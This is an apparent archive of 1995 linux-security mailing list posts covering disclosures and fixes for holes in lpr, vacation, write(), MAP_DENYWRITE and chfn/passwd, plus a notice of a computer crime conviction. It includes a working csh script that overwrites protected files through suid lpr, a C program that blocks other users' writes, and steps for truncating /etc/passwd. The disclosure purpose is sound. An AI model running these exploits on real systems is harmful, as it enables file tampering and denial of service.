Content-Transfer-Encoding: 8bit Content-Length: 1447 Sender: [email protected] Precedence: list Hi all, here's Dan's summary on his question about using the network tools without proc support. Olaf > > Hello Olaf, it looks like the the last summary already had the important > reply to my question, except for this from Al Longyear. > > From: [email protected] (Al Longyear) > It has long been a requirement for the proc file system if you use any > networking tools. The networking tools use the proc file system for > access to the system structures in the kernel. > You are free to not use the proc file system, but you can not use any > IP networking if you do. UUCP will work. > > > From: Marek Michalkiewicz > Hi, it shouldn't be necessary to run the system without the /proc > filesystem. Please try my kernel patch which should hopefully fix the > problem. The patch is against 1.2.10 and I've sent it to Linus, but I > don't know when 1.2.11 will be released... In the meantime, try > ftp://ftp.ists.pwr.wroc.pl/pub/linux/kernel/patches/secure_proc_v2.gz > Please test this and tell me if you see any problems or remaining holes. > Regards, Marek Michalkiewicz > > > Thanks a bunch, and its been an honor communicating with you :) > Daniel Pewzner [email protected] -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. linux-security/1995/linux-security.950727100664 1767 1767 20147 6005634402 17262 0ustar majdommajdomFrom [email protected] Thu Jul 27 02:58:00 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id CAA08539; Thu, 27 Jul 1995 02:54:59 -0400 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id NAA05467; Wed, 26 Jul 1995 13:26:43 -0400 Received: from brewhq.swb.de by cv3.cv.nrao.edu (4.1/DDN-DLB/1.13) id AA08932; Wed, 26 Jul 95 13:26:21 EDT Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sbADG-0005BNC; Wed, 26 Jul 95 19:25 MET DST Received: from monad by monad.swb.de with uucp (smail3.1.29.0 #5) id m0sbALz-00005KC; Wed, 26 Jul 95 19:34 MET DST Received: from brewhq.swb.de by monad.swb.de with uucp (smail3.1.29.0 #5) id m0saSgn-00005LC; Mon, 24 Jul 95 20:57 MET DST Received: from tarsier.cv.nrao.edu by brewhq.swb.de with smtp (Linux Smail3.1.29.0 #5) id m0saQzC-0005AzC; Mon, 24 Jul 95 19:08 MET DST Received: from passer.osg.gov.bc.ca (passer.osg.gov.bc.ca [142.32.110.29]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id NAA25258; Mon, 24 Jul 1995 13:07:42 -0400 Received: (from cschuber@localhost) by passer.osg.gov.bc.ca (8.6.12/8.6.10) id KAA01904 for [email protected]; Mon, 24 Jul 1995 10:07:40 -0700 Date: Mon, 24 Jul 1995 10:07:40 -0700 From: Cy Schubert - BCSC Open Systems Group Message-Id: <[email protected]> To: [email protected] Subject: (fwd) Re: suid root lpr Newsgroups: comp.security.unix Sender: [email protected] Precedence: list I've noticed a bit of discussion about the lpr/lpd hole in the comp.security.unix newsgroup. As seen below the problem affects other commercial operating systems as well. Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] BC Systems Corp. Internet: [email protected] [email protected] "Quit spooling around, JES do it." > IUP Computer Science Club ([email protected]) wrote: > : I am wondering if lpr suid root is truly secure. Of course no suid root > : program is truly secure, but does anyone know of any particular holes? > : If there was a way to call a user made filter, instead of the printcap > : called filter, could one achieve a shell escape from there? Is it > : in any way possible to call a filter from other than within the untouchable > : printcap ? > : Any help would be appreciated. I know lpr need not be suid root, but I > : am still curious. Thanks. > > It still is insecure. If you have a printer set up from many of the > commercial or shareware unix OS's (SunOS, Linux, BSD) you may or may not > be vulnerable. Here is a program to see if you are or not. Run it from a > non-privlidged account and see what comes up. > > Its a relatively simple program, but gives you an idea of what damage > could be done in somebody else's hands. Please don't use this to exploit > or damage other people's systems - that isn't what i post it here for. I > post it here so that people can be saved the headache and time wasted of > a hacker intrusion. > > good luck, > > andrew > > #!/bin/csh -f > # > # Usage: lprcp from-file to-file > # > > if ($#argv != 2) then > echo Usage: lprcp from-file to-file > exit 1 > endif > > # This link stuff allows us to overwrite unreadable files, > # should we want to. > echo x > /tmp/.tmp.$$ > lpr -q -s /tmp/.tmp.$$ > rm -f /tmp/.tmp.$$ # lpr's accepted it, point it > ln -s $2 /tmp/.tmp.$$ # to where we really want > > @ s = 0 > while ( $s != 999) # loop 999 times > lpr /nofile >&/dev/null # doesn't exist, but spins the clock! > @ s++ > if ( $s % 10 == 0 ) echo -n . > end > lpr $1 # incoming file > # user becomes owner > rm -f /tmp/.tmp.$$ > exit 0 > From [email protected] Thu Jul 27 02:58:01 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id CAA08534; Thu, 27 Jul 1995 02:54:44 -0400 Received: from bach.cis.temple.edu ([email protected] [129.32.32.92]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id PAA06023; Wed, 26 Jul 1995 15:14:42 -0400 Received: (from alex@localhost) by bach.cis.temple.edu (8.6.12/8.6.9) id PAA06853; Wed, 26 Jul 1995 15:16:34 -0400 Date: Wed, 26 Jul 1995 15:16:33 -0400 (EDT) From: alex To: Linux Security Mailing List cc: [email protected] Subject: Linux Security FAQ Update#5: Cipher-3.0/deslogin-1.3 and GCC 2.7.0 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update Cipher-3.0/deslogin-1.3 problems caused by GCC 2.7.0 July 26, 1995 15:01 EST Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/544C7805 1994/07/17 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/pub/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= The cipher-3.0 is a high speed DES cipher used by the deslogin(1) (encrypted login) and deslogingw(1) (encrypted login via gateway) protocol to perfom encryption of the session. Those who installed GCC 2.7.0 when compiling cipher-3.0 *HAVE TO TURN OFF* all optimization. Even with the minimum optimization level (-O) GCC 2.7.0 breaks the code of cipher. When compiling cipher-3.0 edit the Makefile and change CFLAGS and LDFLAGS to "-pipe -static" otherwise, your cipher will produce incorrect ciphertext. The default deslogin(1) and deslogingw(1) source trees, although use the code from the cipher-3.0 tree, have their own separate Makefile. Prior to compiling deslogin, modify CFLAGS and LDFLAGS to "-pipe -static" and remove optimization flags. WARNING: IF YOUR COMPILATION BREAKS THE CODE OF THE CIPHER, YOU MAY END UP BROADCASTING OVER THE NETWORK INFORMATION THAT *SUPPOSED* TO BE ENCRYPTED, THEREFORE COMPROMISING THE PASSPHRASE. deslogin(1), deslogingw(1) and cipher(1) can be obtained from ftp://ftp.uu.net/pub/security/des/. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMBaT34xFUz2t8+6VAQEo/AP/SThg3ZHwM3hklsMGujOcLUPisNuJxo50 sLkqQi0mlc2Oo3nFDzLG0mvoX9M5Jer0qp1osdLTlZaxztYfhJSGJJjoAjK91hBR dw1BCdMwhwlrfizaVi1ZLMFmlFvX8YKEMAaLwuQdFHCo/KhSOlb/4rrMunGPdUtl RtFXqQDDl6o= =Po3y -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA PGP Key: 1024/ADF3EE95 Fingerprint: AB4FE7382C3627BC 6934EC2A2C05AB62 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= linux-security/1995/linux-security.950802100664 1767 1767 10313 6007734434 17256 0ustar majdommajdomFrom [email protected] Wed Aug 2 13:42:46 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA10466; Wed, 2 Aug 1995 13:11:34 -0400 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA10414; Wed, 2 Aug 1995 13:04:45 -0400 Date: Wed, 2 Aug 1995 13:04:45 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected] Subject: SECURITY ALERT: Dangerous hole in vacation v1.0. X-Zippy: I'm having an EMOTIONAL OUTBURST!! But, uh, WHY is there a WAFFLE in my PAJAMA POCKET?? X-Mailer: VM 5.87 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- A major security hole in the Linux version of 'vacation' has been detected and corrected. This hole affects version 1.0 of 'vacation' as ported to Linux by Harald Milz (from Eric Allman's original BSD source) and found on sunsite.unc.edu and other FTP sites (and thus commonly used on Linux systems). Note: The hole was introduced in the Linux port/version and does not appear to affect other, non-Linux-specific, versions of vacation. The hole involved passing the Subject: and From: headers of the incoming e-mail message to 'sed' and 'sendmail' via a system() call. The extreme danger of this, especially in a program that is taking input from remote systems, should be apparent to most people that are familiar with the system() call internals. Thanks go to Olaf Kirch for detecting this hole and for coding an initial fix, and to Harald Milz for enhancing Olaf's fix to provide the same functionality as his (Harald's) previous version. Version 1.1 (recently uploaded to sunsite.unc.edu) is a "safe" version. UNDER _NO_ CIRCUMSTANCES SHOULD VERSION 1.0 BE USED! Here is the LSM entry for the updated version: Begin3 Title: Automatic mail answering program for Linux Version: 1.1 Entered-Date: July 29, 1995 Description: This is the port of the 386bsd vacation program to Linux. Vacation is the automatic mail answering program found on many Unix systems. This is a security fixed version. PLEASE DON'T USE vacation-1.0 ANY LONGER! Keywords: vacation, mail answering Author: Eric Allman (?) Maintained-By: Harald Milz ([email protected]) Primary-Site: sunsite.unc.edu /pub/Linux/system/Mail/mailhandlers 28 KB vacation-1.1.tar.gz Original-Site: agate.berkeley.edu (as of Nov 16, 1993) Platforms: GCC 2.6.3, libc 5.0.9 or libc 4.7.2 Copying-Policy: Copyright (c) 1983, 1987 Regents of the University of California changes relative to the original version: GPL End In addition to Sunsite, the updated version is available in linux.nrao.edu:/pub/linux/security/vacation/. MD5 checksum of the tar-file on linux.nrao.edu is: f37ab91e18de1caa2c657509d8eb073b vacation-1.1.tar.gz Note: For those that get syslog messages from 'sendmail' saying "mailer prog died with signal 13" when running this new v1.1 (it's a SEGV; the 13 is octal), try the following patch (Harald plans on adding this, as well as a couple of other slight modifications that I have made, in a future public update to the newly-released v1.1): diff -u --recursive 1.1-hm/vacation.c 1.1/vacation.c --- 1.1-hm/vacation.c Sat Jul 29 18:08:57 1995 +++ 1.1/vacation.c Sun Jul 30 13:39:41 1995 @@ -184,8 +184,8 @@ setreply(); (void) gdbm_close(db); sendmessage(pw->pw_name); - } - (void) gdbm_close(db); + } else + (void) gdbm_close(db); exit(0); /* NOTREACHED */ } - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMB+wBrxzFUpUTHgFAQGuwwQA1XLiDP93tUE84d0nQOz34iM6GtHBF4AT 9IXsHNrgZpAwUcbYsYTlmvICrrxqyozBkfqGYTpH44ajV5dGcqb9FZmyO//x7/JY LaejDEnp8ByigDf0++w7cxoRF7gwWFeNq2WvpFgbgqLWEer+Ci/mBKkEo0FY397E TQWmk4ekFJ8= =akI7 -----END PGP SIGNATURE----- linux-security/1995/linux-security.950803100664 1767 1767 10224 6010113541 17240 0ustar majdommajdomFrom [email protected] Thu Aug 3 00:05:43 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id XAA13850; Wed, 2 Aug 1995 23:59:05 -0400 Received: from dfw.net (dfw.net [198.175.15.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id UAA13140; Wed, 2 Aug 1995 20:34:21 -0400 Received: by dfw.net (4.1/SMI-4.1) id AA09477; Wed, 2 Aug 95 19:32:48 CDT Date: Wed, 2 Aug 1995 19:32:46 -0500 (CDT) From: Aleph One To: [email protected] Cc: [email protected] Subject: write does not clear suids bit Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hello everyone. It has come to my attention that write(2) does not clear the suid nor sgid bit on files when the one doing the write is not root, altough the fallowing code appers in fs/read_write.c in the sys_write function: /* * If data has been written to the file, remove the setuid and * the setgid bits */ if (written > 0 && !suser() && (inode->i_mode & (S_ISUID | S_ISGID))) { struct iattr newattrs; newattrs.ia_mode = inode->i_mode & ~(S_ISUID | S_ISGID); newattrs.ia_valid = ATTR_MODE; notify_change(inode, &newattrs); } return written; I wont be in town for a few days, nor I belive I have the knowlage to fix it. If someone can look into it, great! Aleph One / [email protected] http://underground.org/ From [email protected] Thu Aug 3 05:31:08 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id FAA15656; Thu, 3 Aug 1995 05:26:09 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id DAA15055; Thu, 3 Aug 1995 03:41:52 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sdutg-0005BDC; Thu, 3 Aug 95 09:40 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0sdvKp-00000FC; Thu, 3 Aug 95 10:08 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: Re: write does not clear suids bit To: [email protected] (Aleph One) Date: Thu, 3 Aug 1995 10:08:55 +0200 (MET DST) Cc: [email protected] In-Reply-To: from "Aleph One" at Aug 2, 95 07:32:46 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1510 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hello all, This problem pops up when the user writes a file that belongs to someone else. The test in inode_change_ok will reject the chmod attempt, and therefore notify_change will return -EPERM instead of clearing the mode bits. A quick'n'very-dirty fix may be to do something like this: /* * If data has been written to the file, remove the setuid and * the setgid bits */ if (written > 0 && !suser() && (inode->i_mode & (S_ISUID | S_ISGID))) { struct iattr newattrs; + uid_t fsuid = current->fsuid; + newattrs.ia_mode = inode->i_mode & ~(S_ISUID | S_ISGID); newattrs.ia_valid = ATTR_MODE; + current->fsuid = inode->i_uid; notify_change(inode, &newattrs); + current->fsuid = fsuid; } return written; The best fix around is definitely not to have world-writable setuid files at all and leave the rest to Linus:-) Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMCCD9uFnVHXv40etAQGp9wP9FKwQz1jNoQ5pUAGBbUmo9B8thKoMIRC3 o0prsg+667aSjF+316Fskqvr3NGbuLSjPPY9jR3cCvGeVN22xJVzKMqghN5MZp1G WFdKx/91zxNkAzSHATyEWP69ohEuWlKTYFCaUJXdy1v345/qwoHKPx0DNpV98iTN jWu8+m+GXQI= =Phia -----END PGP SIGNATURE----- linux-security/1995/linux-security.950807100664 1767 1767 24114 6011520766 17263 0ustar majdommajdomFrom [email protected] Mon Aug 7 13:57:24 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA07384; Mon, 7 Aug 1995 13:36:17 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id NAA07343; Mon, 7 Aug 1995 13:34:00 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sfW3R-0005B6C; Mon, 7 Aug 95 19:33 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0sfWWd-000059C; Mon, 7 Aug 95 20:03 MET DST Received: from bootes.cus.cam.ac.uk ([email protected] [131.111.8.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id NAA04413; Sun, 6 Aug 1995 13:47:40 -0400 Received: by bootes.cus.cam.ac.uk (Smail-3.1.29.0 #36) id m0sf9nP-000C0iC; Sun, 6 Aug 95 18:47 BST Received: by chiark id (Debian /\oo/\ Smail3.1.29.1 #29.33); Sun, 6 Aug 95 16:11 BST Message-Id: Date: Sun, 6 Aug 95 16:11 BST From: Ian Jackson To: [email protected], [email protected] Subject: MAP_DENYWRITE allows denial-of-service Sender: [email protected] Precedence: list [mod: This was originally posted to linux-alert. We redirected it to linux-security for now until there is a fix for this problem. --okir] -----BEGIN PGP SIGNED MESSAGE----- (Posted to linux-alert and linux-kernel.) Any user on a Linux system can prevent other users from writing to files. The files need not be writeable by the attacker, but they do need to be readable. They do not need to be in any special format or have any particular name or permission flags. There is no practical limit to the number of files a user can `block' like this, and the program to do it is trivial - see below. While the program is running any otherwise-OK attempt to open the file for writing gets ETXTBSY (Text file busy). The problem exists in at least 1.2.10, and I'm told that this feature was introduced quite some time ago. The MAP_DENYWRITE feature was apparently added to allow (for example) ld.so to arrange that libraries and other executable files which were in use could not be overwritten. While this seems like a laudable aim, it does not justify what we see here. I suggest that the feature be removed completely. If this is thought undesirable checks will have to be made - at the very least that the user doing the mapping has `x' access to the file, and that the file is in a suitable format. Ian. /* Invoke this as `./a.out < file-to-be-blocked'. * Send it a signal when you want to unblock the file. */ #include #include #include #include #include int main(void) { caddr_t a; a= mmap(0,1,PROT_READ,MAP_DENYWRITE|MAP_FILE|MAP_SHARED,0,0); if (a == (caddr_t)-1) { perror("mmap"); exit(1); } printf("mapped at %p\n",a); pause(); return 0; } -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMCTbUcMWjroj9a3bAQG2mwQAlLOER9wipKqg5i4CTAxeOJEQu2G9Yy4H KRIwBzxDA7lvD+tUglB5CMyosrDqTrnLTTomUlpuJkqVZoH0ugeQduvxe/9vjr5E pztfC7O/b+DdqUhQBBjNczJlXWzqoMpBaqKW75ny3Mj5rTR7cw2EkjCBX243x7Io Vr9qW6vQiRw= =UZZP -----END PGP SIGNATURE----- From [email protected] Mon Aug 7 19:29:51 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA08964; Mon, 7 Aug 1995 19:25:20 -0400 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA08960; Mon, 7 Aug 1995 19:25:17 -0400 Date: Mon, 7 Aug 1995 19:25:17 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: Perl guru Randal Schwartz convicted. X-Quote-I-Like: "And don't forget the Baskin-Robbinsesque 31 flavors of UNIX, all subtly or blatantly different in how they're managed." --John Francini (in triangle.jobs). X-Mailer: VM 5.87 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list This is not directly related to Linux security, but I thought that it would be of definite interest to those involved with system administration and/or computer security, Linux or otherwise--primarily as an example of what blunders it can be very dangerous to make. The following is a direct quote from Randal Schwartz's legal-fund mailbot. For those that aren't familiar with who Randal is, he is the author and coauthor of the O'Reilly books "Learning Perl" (the "llama book") and "Programming Perl" (the "camel book"), respectively, and has been one of the primary figures in the development of the Perl language. This is not meant to be an editorial comment by either Olaf or me regarding this case, nor is it intended to convey any personal opinions from either of us. I am posting Randal's own words, rather than the media account(s), because his words, despite their understandable bias, actually show some technical knowledge about the actions that led to his conviction. -----begin quote----- [This message was generated automatically because you sent me mail containing @FUND on a line by itself, or sent mail to [email protected]. I did not read the rest of your note -- merlyn] On March 14th, 1994, I was indicted on three felony counts of Computer Crime according to Oregon State Law. The "victim" and accuser is Intel Corporation (yes, the multinational microchip manufacturer), a client of mine for five years running, and possessor of vastly greater financial, time, and legal resources than I could ever muster up. On July 25th, 1995, I was convicted of those same counts. I'm currently awaiting sentencing. The sentencing hearing is scheduled for September 11th. The charges are as follows: Count 1: altering without authorization two computer systems. Counts 2 and 3: accessing a computer with intent to commit theft. First, let me say that I am sorry that I caused Intel any grief or hardship, and that in hindsight, I should have been clearer about my intention and actions. I'll never get to work at Intel again, and my mistakes may even make it nearly impossible to get any work at any location that respects Intel's beliefs about me. However, my actions were motivated by my desire to give Intel the best possible value for the money they were paying me. At no time did I *intend* to have any harm come to Intel, and any damage they may claim resulted from their mopping up on things that I *might* have done but they couldn't tell I hadn't. In short, count 1 comes from me having installed two different methods of accessing my Intel e-mail through the Internet while I was away but still working for Intel. I was responsible for the timely deployment of the DNS servers for the entire corporation, and a system administrator on some network support machines, and I wanted to keep on top of developing situations. I believed at the time that I was complying with the intent of every rule I was aware of regarding the setup of these access methods, but it became clear at the trial that my understanding was very different from their understanding. Count 1 is also based on a law about which we have raised constitutional questions of overbreadth and vagueness. We always thought these issues would require appellate examination. Counts 2 and 3, as I understand it, result from their claim that I committed "theft" of a password file from the SSD division by copying it to a machine in the HF division where I was working and that by running crack (the password guesser) on the file, I also committed "theft" of the passwords. I was a sysadm for SSD about a year and a half previous, and I still had an active account on a lab machine at SSD. I had discovered that a user at SSD had picked a dictionary word ("deacon") for a password on the lab machine. Fearing that the SSD folks had stopped running crack regularly, I copied the SSD password file (using the cracked password from the lab machine) and found that my fears were justified. (The vice president's password was "pre$ident", for example.) However, I now had vital information that I had obtained through the use of a cracked password, and I was in an awkward situation. Before I reported the findings to SSD, a co-worker noticed the crack runs (they were 6-8 days long!) running under my own userID on the systems that we shared at HF, and feared the worst: that I had turned into a spy and was actually stealing secrets. Yes, as you can see, I made a number of bone-headed mistakes (not getting the rules about internet access clear, not reporting the single bad cracked password, and not immediately reporting the results of the crack run), and I probably should have been terminated for those mistakes, but NONE OF THE ACTS WERE BASED ON MALICIOUS INTENT. I have fought the charges using money out of my pocket and borrowed on credit cards, and the goodwill of many special Net Citizens such as the folks at the Electronic Frontier Foundation. -----end quote----- A description of how to get more information/updates follows, as well as a blurb on how to contribute to his legal defense fund; send e-mail to [email protected] for more information on this (I'm not posting it here). Schwartz faces likely jail time of 3-6 months, according to reports, as well as possible restitution of $60,000 to Intel for "damages" (plus any additional fines that the state may impose). He has spent over $100,000 so far on his legal defense. The "moral" of this story is obvious: Fooling around with computer security within an organization, without explicit permission, can be *very* dangerous (and expensive!)--even if your intentions are good (as Randal claims that his were). MAKE SURE YOU UNDERSTAND LOCAL POLICIES! Followups on this subject to the Linux-security lists will not be approved. There is quite a debate regarding this case going on in the USENET group misc.legal.computing that is raising all sorts of interesting points; that is the proper forum for followups. --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ linux-security/1995/linux-security.950808100664 1767 1767 12312 6011730014 17246 0ustar majdommajdomFrom [email protected] Tue Aug 8 14:42:06 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA12808; Tue, 8 Aug 1995 14:27:11 -0400 Received: from parker.EECS.Berkeley.EDU (parker.EECS.Berkeley.EDU [128.32.138.20]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id LAA12074; Tue, 8 Aug 1995 11:20:15 -0400 Received: (from nickkral@localhost) by parker.EECS.Berkeley.EDU (8.6.10/8.6.9) id IAA22241; Tue, 8 Aug 1995 08:19:40 -0700 Date: Tue, 8 Aug 1995 08:19:40 -0700 (PDT) From: Nick Kralevich To: [email protected], [email protected] Subject: chfn problem with Linux Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Found on alt.hackers. Take care, -- Nick Kralevich ----- Begin ----- >From [email protected] Tue Aug 8 08:16:56 PDT 1995 Article: 8446 of alt.hackers Path: agate!howland.reston.ans.net!news.sprintlink.net!uunet!in2.uu.net!news.nevada.edu!unlv.edu!ftlofaro From: [email protected] (Frank T Lofaro) Newsgroups: alt.hackers Subject: Linux problems (was Re: rlogin revealed) Date: 8 Aug 1995 07:15:47 GMT Organization: University of Nevada, Las Vegas Lines: 22 Approved: [email protected] Message-ID: <[email protected]> References: <[email protected]> <3vr6u7$bv7@bubb\a.NMSU.Edu> <[email protected]> NNTP-Posting-Host: pioneer.nevada.edu Keywords: Linux, security hole, denial of service In-Reply-To: <[email protected]> A poster mentioned here the chfn could be used to hose a linux box. He didn't say, but it looked like one could hose the system by killing/suspending chfn right after opening /etc/passwd in truncate mode. I ran a trace on chfn. Here's another bad one. Set file limit to 0. run passwd and try to change passwd /etc/passwd is empty, and all logins are denied with "Login incorrect", i.e. one doesn't know what is wrong. By setting file limits low can partially truncate /etc/passwd. I'll post this to comp.os.linux.development.system too. ObHack: Changing the FS code to allow hardlinks to symlinks. Not too useful, but neat, and I didn't lose any filesystems when I did it! And doing 40 other hacks and wacks on the Linux kernel, unfortunately one of them hosed swapping to a file. Heck, most of them work though! From [email protected] Tue Aug 8 14:42:08 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA12801; Tue, 8 Aug 1995 14:27:01 -0400 Received: from dhiurzm31.rz.uni-hildesheim.de (dhiurzm31.rz.uni-hildesheim.de [147.172.16.41]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id IAA11649; Tue, 8 Aug 1995 08:43:12 -0400 Received: from uni-hildesheim.de by dhiurzm31.rz.uni-hildesheim.de with SMTP (PP) id <[email protected]>; Tue, 8 Aug 1995 14:42:17 +0200 Received: from baghira.han.de by uni-hildesheim.de (4.1/SMI-4.1/az/03-Jun-94) id ; Tue, 8 Aug 95 14:41:20 +0200 Received: by baghira.han.de (/\==/\ Smail3.1.28.1 #28.6) id ; Tue, 8 Aug 95 14:38 MET DST Received: by edefix.han.de (/\==/\ Smail3.1.25.1 #25.3) id ; Tue, 8 Aug 95 14:05 MET DST Message-Id: From: [email protected] (E. v. Pappenheim) Subject: Re: SECURITY ALERT: Dangerous hole in vacation v1.0 To: [email protected] Date: Tue, 8 Aug 1995 14:05:19 +0200 (MET DST) Cc: [email protected] X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1344 Sender: [email protected] Precedence: list Forwarded message: This a repost of [email protected] due to a configuration error. ------ Original message follows -------------------------------------------- From: [email protected] (Harald Milz) Subject: Re: SECURITY ALERT: Dangerous hole in vacation v1.0. In hannet.ml.linux.nrao.linux-security, > Note: For those that get syslog messages from 'sendmail' saying "mailer > prog died with signal 13" when running this new v1.1 (it's a SEGV; the > 13 is octal), try the following patch (Harald plans on adding this, as > well as a couple of other slight modifications that I have made, in a > future public update to the newly-released v1.1): This has been fixed too in vacation-1.1.1 I uploaded to sunsite a couple of days ago. -- Harald Milz ([email protected]) WWW: http://www.ix.de/ix/editors/hm.html iX Multiuser Multitasking Magazine phone +49 (511) 53 52-377 Helstorfer Str. 7, D-30625 Hannover fax +49 (511) 53 52-361 Opinions stated herein are my own, not necessarily my employer's. --- End of message ---------------------------------------------------------- -- -------------------------------------------------------------------------------- Eckebrecht von Pappenheim Email: [email protected] Eleonorenstr. 17 Phone: +49 511 443755 30449 Hannover Modem/Fax: +49 511 444060 Germany linux-security/1995/linux-security.950809100664 1767 1767 14767 6012067170 17276 0ustar majdommajdomFrom [email protected] Wed Aug 9 04:14:31 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id EAA16676; Wed, 9 Aug 1995 04:07:58 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id RAA14006; Tue, 8 Aug 1995 17:44:05 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sfwR6-0005B2C; Tue, 8 Aug 95 23:43 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0sfwuI-00005BC; Wed, 9 Aug 95 00:13 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: Re: chfn problem with Linux To: [email protected] Date: Wed, 9 Aug 1995 00:13:53 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1194 Sender: [email protected] Precedence: list [Quoting from a message forwarded to linux-security by Nick Kralevich] [email protected] (Frank T Lofaro) wrote on alt.hackers: > A poster mentioned here the chfn could be used to hose a linux box. > He didn't say, but it looked like one could hose the system by > killing/suspending chfn right after opening /etc/passwd in truncate > mode. I ran a trace on chfn. This problem affects kill in general. The kernel allows a process to send a signal to another process as long as the _sending_ process's euid matches the signalled process's effective or real uid (cf. kill_prog in kernel/exit.c). I believe this should be the other way round. Quoting from the HP kill(2) manpage: ``The real or effective uid of the sending process must match the real or saved uid of the receiving process, unless the effective uid of the sending process is super-user.'' However, a comment in Lewine's POSIX book says that killing another process is also allowed when its ruid matches... Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. From [email protected] Wed Aug 9 04:14:37 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id EAA16669; Wed, 9 Aug 1995 04:07:49 -0400 Received: from relay3.UU.NET (relay3.UU.NET [192.48.96.8]) by 